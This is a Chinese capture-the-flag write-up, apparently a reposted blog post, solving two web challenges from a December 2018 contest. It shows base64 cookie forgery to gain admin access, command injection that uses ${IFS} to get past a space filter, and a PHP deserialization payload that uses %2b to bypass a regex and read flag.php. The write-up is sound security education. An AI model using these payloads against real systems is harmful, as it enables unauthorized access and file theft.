安恒月赛-2018年12月

签到题

没啥好说的,什么牛不能跑?蜗牛

ezweb2

题目:

http://101.71.29.5:10000/index.php

解题思路:

拿到题目后,扫了一波:

python3 dirsearch.py -u http://101.71.29.5:10000 -e php

![2](https://img-blog.csdnimg.cn/20181223071631915.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d5al8xMjE2,size_16,color_FFFFFF,t_70
发现:admin.php
进入查看,显示无法进入
查看页面信息,发现user登录信息,在存储值可更改。
1
将其先进行Url Decode,dXNlcg==,然后,Base64 Decode,user
然后,考虑到admin登入,于是将admin先进行Base64 Eecode,YWRtaW4=,在进行Url Encode,YWRtaW4%3D,将其填入存储值中。
然后刷新页面,进入
5
随便在其中输入,例如:a,抓包截取反应
4
猜想命令输入,尝试:

ls

得到相应目录
进而尝试:

ls /     //查询根目录

发现,错误,考虑空格过滤
于是尝试:

ls${IFS}/   //利用${IFS}代替空格

得到根目录下的文件目录
发现:
fFlag_404.php
于是尝试抓取该文件:

cat${IFS}/fFlag_404

得到flag:
3

eazyweb

题目

http://101.71.29.5:10007/
ti

解题思路

进行代码审计
首先对于class baby,定义了一个类
再看下面,首先是绕过正则表达式:preg_match('/[oc]:\d+:/i',$data,$matches)
其中,[oc]代表$data中以o或c开头,:表示含有:,\d表示有数字,/i表示不区分大小写,$data为待匹配字符串,$matches为存储匹配上的字符串
而要满足if(count($matches)) 的话,则需要$data中没有可以匹配的字符串
再往下,看到$good = unserialize($data) ,序列化与反序列化函数,其特点是,一定会有o作为开头,故一定会有匹配
解决办法是,在:与数字之间加入+,且对+进行url编码:%2b
那么,首先将类:class baby实体化,进行序列化:

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
$a=new baby();
$a->file='flag.php';
echo serialize($a);
?>

得到:

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

然后,进行文件读取:

?data=O:%2b4:%22baby%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

得到flag

发布了54 篇原创文章 · 获赞 25 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/wyj_1216/article/details/85220260